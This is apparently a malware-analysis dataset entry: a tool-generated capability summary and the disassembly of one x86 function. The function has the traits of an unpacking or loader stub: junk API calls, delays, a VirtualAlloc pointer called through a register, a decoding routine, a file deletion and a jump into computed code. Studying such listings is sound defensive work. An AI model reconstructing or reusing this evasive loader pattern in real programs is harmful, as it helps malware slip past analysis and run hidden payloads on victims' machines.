Function at 0x401129
Capabilities:
Delete file
Resume thread
Terminate thread
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x64
push ebx
mov dword [ebp - 0x58], 0
mov dword [ebp - 4], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x34], 0x70b9bb17
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x50], 0
cmp dword [ebp + 0xc], 0xdb
jne 0x401191
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [ebp - 0x54], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x30], 0
mov eax, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x40], 0
push 0
push 0
mov ebx, eax
push 0
call dword [sym.imp.KERNEL32.dll_PulseEvent]
push 0x409b14
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x3c], 0x3a
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 0x300
jb 0x4011fb
mov dword [ebp - 0x54], 0x1ded6
cmp dword [ebp - 8], 0x300
jne 0x4012bf
mov dword [ebp - 0xc], 0x500
mov dword [ebp - 0x44], 0
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xf
je 0x401257
push 0
push 0
push 0
call sub.AVIFIL32.dll_AVIMakeStreamFromClipboard
cmp eax, 0x80044065
jne 0x401257
mov edx, dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp + 0xc], edx
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 0x44]
add eax, 2
mov dword [ebp - 0x44], eax
mov ecx, dword [ebp - 0x44]
add ecx, 2
mov dword [ebp - 0x44], ecx
push dword [ebp - 0x44]
mov edx, dword [ebp - 0xc]
add edx, 0x600
mov dword [ebp - 0xc], edx
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0xc]
add eax, 0x500
mov dword [ebp - 0xc], eax
push dword [ebp - 0xc]
mov dword [ebp - 0x14], 0x1905
mov eax, 0
push 0x27593
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
mov dword [ebp - 0x5c], ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
call ebx
mov dword [ebp + 0xc], eax
push dword [ebp - 0x48]
push 0x1db
call dword [sym.imp.KERNEL32.dll_Sleep]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x30], ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
mov edx, dword [ebp + 0xc]
mov dword [ebp - 0x38], edx
pop dword [ebp - 0x58]
push 0x409b24
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x60], 0
jmp 0x40130d
mov eax, dword [ebp - 0x60]
add eax, 1
mov dword [ebp - 0x60], eax
cmp dword [ebp - 0x60], 5
jge 0x401323
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, dword [ebp - 0x20]
add ecx, eax
mov dword [ebp - 0x20], ecx
jmp 0x401304
mov edx, dword [ebp - 0x14]
add edx, 0xa
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 0x14]
mov edx, dword [ebp - 0x1c]
lea eax, [edx + ecx + 0xa]
mov dword [ebp - 0x1c], eax
push 0
push 0
call dword [sym.imp.USER32.dll_LoadBitmapA]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 4]
mov dword [ecx], edx
mov dword [ebp - 0x28], 1
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x34]
mov dword [ecx + eax*4], edx
mov eax, dword [ebp + 0xc]
add eax, dword [ebp - 0x3c]
mov dword [ebp - 0x40], eax
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x24], ecx
mov edx, dword [ebp - 0x24]
add edx, dword [ebp - 0x54]
mov dword [ebp - 0x24], edx
mov eax, dword [ebp - 0x24]
add eax, dword [ebp - 0x20]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x38]
push ecx
mov edx, dword [ebp - 0x14]
push edx
mov eax, dword [ebp - 0x24]
push eax
push 0
call fcn.00401491
add esp, 0x10
mov ecx, dword [ebp + 0xc]
add ecx, dword [ebp - 0x3c]
mov dword [ebp - 0x40], ecx
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
mov eax, dword [ebp - 0x30]
push eax
push 0
push 0
push 0x14
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x58]
mov dword [ebp - 0x64], 0
mov ebx, dword [ebp - 0x40]
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ResumeThread]
cmp eax, 0xa
je 0x4013f4
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
call ebx
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret